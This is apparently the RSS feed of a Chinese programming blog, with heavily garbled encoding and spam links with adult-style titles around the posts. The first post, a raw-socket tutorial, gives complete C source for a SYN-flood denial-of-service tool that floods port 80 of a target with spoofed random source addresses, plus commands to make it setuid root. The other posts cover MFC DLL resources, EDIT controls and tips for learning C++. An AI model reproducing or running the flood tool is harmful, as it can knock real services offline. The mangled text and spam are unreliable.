??xml version="1.0" encoding="utf-8" standalone="yes"?>曰曰摸天天摸人人看久久久,国产精品中文久久久久久久,久久精品成人国产午夜http://www.shnenglu.com/lshlc/zh-cnSat, 28 Jun 2025 16:31:28 GMTSat, 28 Jun 2025 16:31:28 GMT60原始套接?/title><link>http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html</link><dc:creator>梁少?/dc:creator><author>梁少?/author><pubDate>Sun, 26 Apr 2009 10:24:00 GMT</pubDate><guid>http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html</guid><wfw:comment>http://www.shnenglu.com/lshlc/comments/81139.html</wfw:comment><comments>http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/lshlc/comments/commentRss/81139.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/lshlc/services/trackbacks/81139.html</trackback:ping><description><![CDATA[<p style="COLOR: #000000"><span style="COLOR: #000000">原始套接?<br></span>     我们在前面已l学?fn)过了(jin)网l程序的两种套接?SOCK_STREAM,SOCK_DRAGM).在这一?里面我们一h学习(fn)另外一U套接字--原始套接?SOCK_RAW). 应用原始套接?我们可以~写出由TCP和UDP套接字不能够实现的功? 注意原始套接字只能够由有root权限的h创徏. <br><br>10.1 原始套接字的创徏 <br><br>int sockfd(AF_INET,SOCK_RAW,protocol) <br><br>可以创徏一个原始套接字.Ҏ(gu)协议的类型不同我们可以创Z同类型的原始套接?比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP{等.详细的情冉|?<netinet></netinet>下面我们以一个实例来说明原始套接字的创徏和?<br><br>10.2 一个原始套接字的实?<br>q记得DOS是什么意思吗?在这里我们就一h~写一个实现DOS的小E序. 下面是程序的源代?<br><br>/********************   DOS.c                *****************/ <br>#include <sys></sys><br>#include <netinet></netinet><br>#include <netinet></netinet><br>#include <netinet></netinet><br>#include <stdlib.h></stdlib.h><br>#include <errno.h></errno.h><br>#include <unistd.h></unistd.h><br>#include <stdio.h></stdio.h><br>#include <netdb.h></netdb.h><br><br>#define DESTPORT         80        /* 要攻ȝ端口(WEB)       */ <br>#define LOCALPORT        8888 <br><br>void send_tcp(int sockfd,struct sockaddr_in *addr); <br>unsigned short check_sum(unsigned short *addr,int len); <br><br>int main(int argc,char **argv) <br>{ <br>int sockfd; <br>struct sockaddr_in addr; <br>struct hostent *host; <br>int on=1; <br><br>if(argc!=2) <br>{ <br>         fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); <br>         exit(1); <br>} <br><br>bzero(&addr,sizeof(struct sockaddr_in)); <br>addr.sin_family=AF_INET; <br>addr.sin_port=htons(DESTPORT); <br><br>if(inet_aton(argv[1],&addr.sin_addr)==0) <br>{ <br>         host=gethostbyname(argv[1]); <br>         if(host==NULL) <br>         { <br>                 fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); <br>                 exit(1); <br>         } <br>         addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); <br>} <br><br>/**** 使用IPPROTO_TCP创徏一个TCP的原始套接字     ****/ <br><br>sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); <br>if(sockfd<0) <br>{ <br>         fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); <br>         exit(1); <br>} <br>/********   讄IP数据包格?告诉pȝ内核模块IP数据包由我们自己来填?nbsp;  ***/ <br><br>setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); <br><br>/****   没有办法,只用护用h可以使用原始套接?nbsp;    *********/ <br>setuid(getpid()); <br><br>/*********   发送炸弹了(jin)!!!!           ****/ <br>send_tcp(sockfd,&addr); <br>} <br><br><br><br>/*******   发送炸弹的实现    *********/ <br>void send_tcp(int sockfd,struct sockaddr_in *addr) <br>{ <br>char buffer[100];   /**** 用来攄我们的数据包   ****/ <br>struct ip *ip; <br>struct tcphdr *tcp; <br>int head_len; <br><br>/******* 我们的数据包实际上没有Q何内?所以长度就是两个结构的长度   ***/ <br><br>head_len=sizeof(struct ip)+sizeof(struct tcphdr); <br><br>bzero(buffer,100); <br><br>/********   填充IP数据包的头部,q记得IP的头格式?      ******/ <br>ip=(struct ip *)buffer; <br>ip->ip_v=IPVERSION;              /** 版本一般的?4       **/ <br>ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度   **/ <br>ip->ip_tos=0;                    /** 服务cd             **/ <br>ip->ip_len=htons(head_len);      /** IP数据包的长度       **/ <br>ip->ip_id=0;                     /** 让系l去填写?nbsp;      **/ <br>ip->ip_off=0;                    /** 和上面一?省点旉 **/         <br>ip->ip_ttl=MAXTTL;               /** 最长的旉    255     **/ <br>ip->ip_p=IPPROTO_TCP;            /** 我们要发的是 TCP?nbsp;  **/ <br>ip->ip_sum=0;                    /** 校验和让pȝd     **/ <br>ip->ip_dst=addr->sin_addr;       /** 我们d的对?nbsp;      **/ <br><br>/*******   开始填写TCP数据?nbsp;                           *****/ <br>tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); <br>tcp->source=htons(LOCALPORT); <br>tcp->dest=addr->sin_port;            /** 目的端口     **/ <br>tcp->seq=random(); <br>tcp->ack_seq=0; <br>tcp->doff=5; <br>tcp->syn=1;                         /** 我要建立q接 **/ <br>tcp->check=0; <br><br><br>/** 好了(jin),一切都准备好了(jin).服务?你准备好?jin)没?? ^_^   **/ <br>while(1) <br>   { <br>/**   你不知道我是从那里来?慢慢的去{吧!       **/ <br>     ip->ip_src.s_addr=random();      <br><br>/** 什么都让系l做?也没有多大的意?q是让我们自己来校验头部?*/ <br>/**             下面q条可有可无     */ <br>     tcp->check=check_sum((unsigned short *)tcp, <br>                 sizeof(struct tcphdr)); <br>     sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); <br>   } <br>} <br><br>/* 下面是首部校验和的算?偷了(jin)别h?*/ <br>unsigned short check_sum(unsigned short *addr,int len) <br>{ <br>register int nleft=len; <br>register int sum=0; <br>register short *w=addr; <br>   short answer=0; <br><br>while(nleft>1) <br>{ <br>   sum+=*w++; <br>   nleft-=2; <br>} <br>if(nleft==1) <br>{ <br>   *(unsigned char *)(&answer)=*(unsigned char *)w; <br>   sum+=answer; <br>} <br>   <br>sum=(sum>>16)+(sum&0xffff); <br>sum+=(sum>>16); <br>answer=~sum; <br>return(answer); <br>} <br><br>~译一?拿localhost做一下实?看看有什么结?(千万不要试别人的?. Z(jin)让普通用户可以运行这个程?我们应该这个程序的所有者变?sh)root,?讄setuid?<br><br>[root@hoyt /root]#chown root DOS <br>[root@hoyt /root]#chmod +s DOS <br><br><br>10.3 ȝ <br>原始套接字和一般的套接字不同的是以前许多由pȝ做的事情,现在要由我们自己来做? 不过q里面是不是有很多的乐趣? 当我们创Z(jin)一个TCP套接字的时?我们只是负责把我们要发送的内容(buffer)传递给?jin)系l? pȝ在收到我们的数据?回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出?而现在是我们自己创徏各个的头?pȝ只是把它们发送出? 在上面的实例?׃我们要修Ҏ(gu)们的源IP地址,所以我们用了(jin)setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以ql来创徏? <br><a href="http://www.shnenglu.com/lshlc/"></a></p> <img src ="http://www.shnenglu.com/lshlc/aggbug/81139.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/lshlc/" target="_blank">梁少?/a> 2009-04-26 18:24 <a href="http://www.shnenglu.com/lshlc/archive/2009/04/26/81139.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>dll的用方?/title><link>http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html</link><dc:creator>梁少?/dc:creator><author>梁少?/author><pubDate>Sun, 12 Apr 2009 03:32:00 GMT</pubDate><guid>http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html</guid><wfw:comment>http://www.shnenglu.com/lshlc/comments/79668.html</wfw:comment><comments>http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/lshlc/comments/commentRss/79668.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/lshlc/services/trackbacks/79668.html</trackback:ping><description><![CDATA[<p><br>首先要徏立一个dll的资源,file->new->MFC appwizard(dll) 输入工程的名?br>  点击 FINISH 然后点击 OK<br> 你就可以开始创Z自己的dll资源?nbsp; 我这里的DLL资源是一个图?br> INSERT -》RESOURCE -》选择BITMAP 单机IMPORT  扑և要导入的囄可以了(jin)<br>注意囄的后~名是 .bmp ?.ico 不能是其他格式的否则q不了(jin)<br>  导入成功以后可以编译一下(不用q行Q?br>然后在工E文件的目录中debug文g夹中׃(x)有一?.dll ?lib的文Ӟq两个文件有用)(j)<br>q样你自qDLL徏立成功了(jin)<br> 接下来的d是如何把自己建立的DLL应用到自qE序中去<br>  打开工程建立一个基于对话框的应用程序,攄一个picture(q个控g必须修改名字Q否则无法定义成员变?和一个buttonQ把picture的type讄成和你加载的囄一L(fng)格式Q比如在DLL中你导入的是一?bmp的图片,那就把type讄成bitmapQ导入的?ico的图?p|成iconQ?br> 然后是lbutton增加单机响应事g?br>代码如下Q?br> HINSTANCE hdll; //存储加蝲的动态连接库的句?br> HINSTANCE hcurrent;  //保存当前句柄 以用于最后恢复到当前<br> hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll"); <br>                  //加蝲你自己徏立的DLL q里有一个注意的地方 文g目录之间要用 \\ 否则?x)有警?br> if(hdll)  //如果DLL不ؓ(f)I?br> { <br>          hcurrent=AfxGetResourceHandle();  //获取当前的句?br>    AfxSetResourceHandle(hdll);  //讄?nbsp;DLL的句?br>    HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //W一个参?用的是哪个对象就要设|成相应的句?如果用的是本工程中的囄q AfxGetInstanceHandle 或者是AfxGetApp->m_Instance; <br>  W二个参数是囄的一个资源标识,要用MAKEINTRESOURCE q行转换 非常要注意的是MAKEINTRESOURCE的参?你导入的囄在DLL中用的是什么名?在这里也要用一L(fng)的名?否则׃(x)出错?br>    m_pic.SetBitmap(hbit);<br>          AfxSetResourceHandle(hcurrent); //恢复到当前句?br> <br> <br> }<br> AfxFreeLibrary(hdll);  释放hdll<br>q不是代码有?jin)就可以用?jin) q需要一些准备工作,W一?制作DLL产生的lib文g导入<br> 步骤Qproject ->add to project ->files 扑ֈ制作DLL产生的lib文gQ将其导?br> q要在工E的头文件中把制作DLL时生的和工E名相同的头文g用语?#8220;#include "xx.h"”<br> 包含q来。这里有一个小l节要注意,׃q个头文件的目录和我们现有工E的的目录是不一L(fng)<br>  我们可以把这个头文g直接复制到我们现有工E的目录中即可?br> <br>q些工作做完?我们可以运行我们的工程?/p> <p> </p> <p><br>DLL中定义有两种函数:<br>---- 导出函数(exportfunction): 可以被其他模块调?br>---- 内部函数(internalfunction): 只能在DLL内部使用 <br>---- 创徏一个基于API的DLL.本例只定义了(jin)导出函数. </p> <p>---- 1.在FILE- >NEW- >PROJECTS中选择"WIN32 Dynamic-Link Library"在Project Name中输?"a"按OK </p> <p>---- 2.在FILE- >NEW- >FILES中选择C++ SOURCE FILEQ在FILE中输入a.cpp,按OK </p> <p>---- 在FILE- >NEW- >FILES中选择TEXT文gQ在FILE中输入a.h,按OK </p> <p>---- 在FILE- >NEW- >FILES中选择TEXT文gQ在FILE中输入a.def,按OK </p> <p>---- 3.源文Ӟ(x) </p> <p> file://---------------------------<br> <a href="file://a.cpp/">file://a.cpp</a><br> #include < windows ><br> WINAPI int add(int a,int b)<br> { return (a+b);<br> }<br> file://---------------------------<br> <a href="file://a.h/">file://a.h</a><br> WINAPI int add(int a,int b);<br> file://---------------------------<br> <a href="file://a.def/">file://a.def</a><br> LIBRARY      "aaa" ;指出DLL的名?br> DESCRIPTION  ''aaa Windows Dynamic Link Library''<br> ;描述DLL的用?此句可?<br> EXPORTS      add ;导出函数的名?/p> <p>?调用DLL的方?<br>---- 1.通常我们在调用DLL时所需的DLL文g必须位于以下三个目录之一: <br>---- (1)Windows的系l目?\windows\system; </p> <p>---- (2)DOS中path所指出的Q何目? </p> <p>---- (3)E序所在的目录; </p> <p>---- 同时应注意管理好你的.lib文g?h和文?</p> <p>---- 2.建立一个工E?单v见可建立一个控制台应用E序. </p> <p>---- 3.在工E中引入a.lib: </p> <p>---- (1)如果你的a.lib攑֜VC标准的LIB文g夹中. </p> <p>   单击Project- >Project Settings...<br>   在link选卡的object/library modules中加上a.lib卛_</p> <p>---- (2)如果你的a.lib不是攑֜VC标准的LIB文g夹中 <br>   单击Project- >Add to Project- >files...<br>   扑ֈa.lib文g,按OK<br>< pre ><br>4.//------------------------<br>   <a href="file://call_a.cpp/">file://call_a.cpp</a><br>   #include< stdio.h ><br>   #include "c:/a/a.h"<br>   void main(void) <br>   { int c=0;</p> <p>  c=add(1,2);<br>  printf("1+2=%d",c);<br>   }<br> file://本程序在VC5.0下调试通过</p> <p> </p> <img src ="http://www.shnenglu.com/lshlc/aggbug/79668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/lshlc/" target="_blank">梁少?/a> 2009-04-12 11:32 <a href="http://www.shnenglu.com/lshlc/archive/2009/04/12/79668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>EDIT附值的Ҏ(gu)http://www.shnenglu.com/lshlc/archive/2009/04/12/79667.html梁少?/dc:creator>梁少?/author>Sun, 12 Apr 2009 03:29:00 GMThttp://www.shnenglu.com/lshlc/archive/2009/04/12/79667.htmlhttp://www.shnenglu.com/lshlc/comments/79667.htmlhttp://www.shnenglu.com/lshlc/archive/2009/04/12/79667.html#Feedback0http://www.shnenglu.com/lshlc/comments/commentRss/79667.htmlhttp://www.shnenglu.com/lshlc/services/trackbacks/79667.html Q?Q可以给EDIT控gdCSTRING的成员变量,然后?m_text=_T("hello");的Ş式给EDIT附?br>      但这时候你得必须在m_text=_T("hello");q句的前面加上UpdateData(TRUE);在后面加?br>      UpdateData(FALSE); 其中UpdateData(TRUE);的作用是EDIT中的内容更新成员变量中,
      UpdateData(FALSE);的作用是成员变量的内容更新到EDIT中?br> Q?Q给EDITdCEDITcd的变量,调用其中的SETWINDOWTEXTҎ(gu)lEDIT附|但是此时注意
       如果你ؓ(f)EDIT定义?jin)CSTRING的成员变量就不用UpdateData(TRUE);和UpdateData(FALSE);
       因ؓ(f)你如果还l箋(hu)使用QUpdateData(TRUE);EDIT的内定w值到?jin)CSTRINGcd变量Q?br>       UpdateData(FALSE);又将CSTRINGcd变量的内容又附值到?jin)EDIT中,q样SETWINDOWTEXT
       函数没有作用了(jin)?br> Q?Q?因ؓ(f)控g也是由CWINDcL生来的,所以可以先调用GetDlgItem(参数是控件的ID)Q返回的
       是CWINDcd的指针,然后用这个指针调?》SetWindowText(内容)可以给EDIT附g(jin)
       UpdateData(TRUE); UpdateData(FALSE);的要求和上面一栗?

]]>
学好c++50?/title><link>http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html</link><dc:creator>梁少?/dc:creator><author>梁少?/author><pubDate>Thu, 19 Mar 2009 12:11:00 GMT</pubDate><guid>http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html</guid><wfw:comment>http://www.shnenglu.com/lshlc/comments/77223.html</wfw:comment><comments>http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/lshlc/comments/commentRss/77223.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/lshlc/services/trackbacks/77223.html</trackback:ping><description><![CDATA[<p>1.把C++当成一门新的语a学习(fn)?<br>2.看《Thinking In C++》,不要看《C++变成ȝ》; <br>3.看《The C++ Programming Language》和《Inside The C++ Object Model?不要因ؓ(f)他们很难而我们自己是初学者所以就不看Q?<br>4.不要被VC、BCB、BC、MC、TC{词汇所qh——他们都是集成开发环境,而我们要学的是一门语aQ?<br>5.不要放过M一个看上去很简单的编E问题——他们往往q不那么单,或者可以引伸出很多知识点; <br>6.?x)用Visual C++Qƈ不说明你?x)C++Q?<br>7.学classq不难,template、STL、generic programming也不q如此——难的是长期坚持实践和不遗余力的博览书Q?<br>8.如果不是天才的话Q想学编E就不要想玩游戏——你以ؓ(f)你做C(jin)Q其实你的C++水^q没有和你通关的能力一起变高——其实可以时刻记住:(x)学C++是ؓ(f)?jin)编游戏的?<br>9.看Visual C++的书Q是学不?jin)C++语言的; <br>10.躁的hҎ(gu)_(d)(x)XX语言不行?jin),应该学YYQ——是你自׃行了(jin)吧!Q?<br>11.躁的hҎ(gu)问:(x)我到底该学什么;——别问,学就对了(jin)Q?<br>12.躁的hҎ(gu)问:(x)XX有钱途吗Q——徏议你L银行Q?<br>13.躁的hҎ(gu)_(d)(x)我要中文版!我英文不行!——不行?学呀Q?<br>14.躁的hҎ(gu)问:(x)XX和YY哪个好;——告诉你吧,都好——只要你学就行; <br>15.躁的h分两U:(x)a)只观望而不学的人;b)只学而不坚持的hQ?<br>16.把时髦的技术挂在嘴边,q(sh)如把q时的技术记在心(j)里; <br>17.C++不仅仅是支持面向对象的程序设计语aQ?<br>18.学习(fn)~程最好的Ҏ(gu)之一是阅读源代码; <br>19.在Q何时刻都不要认ؓ(f)自己手中的书已经_?jin)?<br>20.请阅诅RThe Standard C++ Bible?中文版:(x)标准C++宝典)Q掌握C++标准Q?<br>21.看得懂的书,请仔l看Q看不懂的书Q请着头皮看; <br>22.别指望看W一遍书pC和掌握什么——请看第二遍、第三遍Q?<br>23.L(fng)《Effective C++》和《More Effective C++》以?qing)《Exceptional C++》; <br>24.不要停留在集成开发环境的摇篮上,要学?x)控刉成开发环境,q要学会(x)用命令行方式处理E序Q?<br>25.和别Z赯论有意义的C++知识点,而不是争吵XX行不行或者YY与ZZ哪个好; <br>26.L(fng)《程序设计实c(din),q严格的按照其要求去做; <br>27.不要因ؓ(f)C和C++中有一些语法和关键字看上去相同Q就认ؓ(f)它们的意义和作用完全一P <br>28.C++l不是所谓的C?#8220;扩充”——如果C++一开始就起名叫Z语言Q你一定不?x)把C和Z语言联系得那么紧密; <br>29.请不要认为学qXX语言再改学C++?x)有什么问题——你只不q又在学一门全新的语言而已Q?<br>30.d?jin)《Inside The C++ Object Model》以后再来认定自己是不是已经学会(x)?jin)C++Q?<br>31.学习(fn)~程的秘诀是:(x)~程Q编E,再编E; <br>32.L(fng)意下列书c:(x)《C++面向对象高效~程QC++ Effective Object-Oriented Software ConstructionQ》《面向对象Y件构?Object-Oriented Software Construction)》《设计模式(Design PatternsQ》《The Art of Computer Programming》; <br>33.CQ面向对象技术不只是C++专有的; <br>34.h书上的程序例子亲手输入到?sh)脑上实践,即配套光盘(sh)有源代码?<br>35.把在书中看到的有意义的例子扩充; <br>36.请重视C++中的异常处理技术,q将其切实的q用到自qE序中; <br>37.l常回顾自己以前写过的程序,q尝试重写,把自己学到的新知识运用进去; <br>38.不要漏掉书中M一个练?fn)题——请全部做完q记录下解题思\Q?<br>39.C++语言和C++的集成开发环境要同时学习(fn)和掌握; <br>40.既然军_?jin)学C++,p坚持学下去,因ؓ(f)学习(fn)E序设计语言的目的是掌握E序设计技术,而程序设计技术是跨语a的; <br>41.pC++语言的各U^台和开发环境去Ȁ烈的竞争吧,我们要以学习(fn)C++语言本nZQ?<br>42.当你写C(j)++E序写到一半却发现自己用的Ҏ(gu)很拙劣时Q请不要马上停手Q请快余下的部分_略的完成以保证q个设计的完整性,然后分析自己的错误ƈ重新设计和编写(参见43Q; <br>43.别心(j)急,设计C++的class实不容易;自己E序中的class和自qclass设计水^是在不断的编E实践中完善和发展的Q?<br>44.决不要因为程?#8220;很小”׃遵@某些你不熟练的规则——好?fn)惯是培d来的Q而不是一ơ记住的Q?<br>45.每学C个C++隄的时候,试着对别解这个知识点q让他理解——你能讲清楚才说明你真的理解?jin)?<br>46.记录下在和别Z时发现的自己忽视或不理解的知识点; <br>47.请不断地对自己写的程序提出更高的要求,哪怕你的程序版本号?x)变成Version 100.XXQ?<br>48.保存好你写过的所有的E序——那是你最好的U篏之一Q?<br>49.请不要做躁的hQ?<br>50.L(fng)爱C++! <br><a href="http://www.shnenglu.com/lshlc/"></a></p> <img src ="http://www.shnenglu.com/lshlc/aggbug/77223.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/lshlc/" target="_blank">梁少?/a> 2009-03-19 20:11 <a href="http://www.shnenglu.com/lshlc/archive/2009/03/19/77223.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.shnenglu.com/" title="精品视频久久久久">精品视频久久久久</a> <div class="friend-links"> </div> </div> </footer> <a href="http://www.bbs020.cn" target="_blank">þþþ</a>| <a href="http://www.uqknet.cn" target="_blank">þþùƷһ</a>| <a href="http://www.xiangyuesiji.cn" target="_blank">Բľþþþþ</a>| <a href="http://www.shuffley.cn" target="_blank">þþƷվ</a>| <a href="http://www.cnhuirui.cn" target="_blank">Ʒ99þþþƷ</a>| <a href="http://www.17714.com.cn" target="_blank">Сڵþþþþ</a>| <a href="http://www.ilxq.cn" target="_blank">ƷþþþþþþþĻ</a>| <a href="http://www.imlee.com.cn" target="_blank">þﶼǾƷ</a>| <a href="http://www.zazhui.cn" target="_blank">þþƷwww</a>| <a href="http://www.wwcx.com.cn" target="_blank">97㽶þҹɫƷ </a>| <a href="http://www.msve.cn" target="_blank">ҹҹþ</a>| <a href="http://www.fa808.cn" target="_blank">ҹӰԺþþƷѿһ </a>| <a href="http://www.best35.cn" target="_blank">鶹˾þþƷ </a>| <a href="http://www.bxdlcd.cn" target="_blank">ۺϾþþþþ</a>| <a href="http://www.guwanwei.cn" target="_blank">žžƷþþþþ</a>| <a href="http://www.tv81.cn" target="_blank">97þþƷҹһ</a>| <a href="http://www.allevery.cn" target="_blank">һaƬþëƬ</a>| <a href="http://www.cn-ppg.cn" target="_blank">þþþ޾Ʒ</a>| <a href="http://www.99341.cn" target="_blank">ɫۺϾþ</a>| <a href="http://www.5656936.cn" target="_blank"> þۺϾɫۺϾ99 </a>| <a href="http://www.znaw.cn" target="_blank">ɫۺϾþ</a>| <a href="http://www.vod1314.cn" target="_blank">Ļþۺ</a>| <a href="http://www.2mo04k.cn" target="_blank">鶹wwwþ</a>| <a href="http://www.03caiji.cn" target="_blank">þþƷƷëƬ</a>| <a href="http://www.s5wow.cn" target="_blank">þ޾Ʒa</a>| <a href="http://www.baiyaiyungroup.com.cn" target="_blank">ŷһƷþ</a>| <a href="http://www.ssjnet.cn" target="_blank">ݺɫۺþö </a>| <a href="http://www.b2221.cn" target="_blank">Ʒþþþþ</a>| <a href="http://www.guidegogo.cn" target="_blank">Ʒþþ㽶</a>| <a href="http://www.2rwx2.cn" target="_blank">һձþþ</a>| <a href="http://www.sosolishi.cn" target="_blank">ƷþþĻ</a>| <a href="http://www.shaikr.cn" target="_blank">ŷþһ</a>| <a href="http://www.zhoucheng888.cn" target="_blank">Ʒŷ޺ձþ</a>| <a href="http://www.commonsoft.cn" target="_blank">ݺݺɫۺϾþð</a>| <a href="http://www.vnzm.cn" target="_blank">þۺϺݺۺϾþ</a>| <a href="http://www.qinhaichang.cn" target="_blank">һɫþHEZYO</a>| <a href="http://www.niugu6.cn" target="_blank">þþƷ</a>| <a href="http://www.yangyongfu.com.cn" target="_blank">ҰAVþһ</a>| <a href="http://www.tst5.cn" target="_blank">þøŮ߳MBA</a>| <a href="http://www.135gkr4.cn" target="_blank">ۺϾþùһ鶹</a>| <a href="http://www.disidai.cn" target="_blank">㽶þۺӰ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>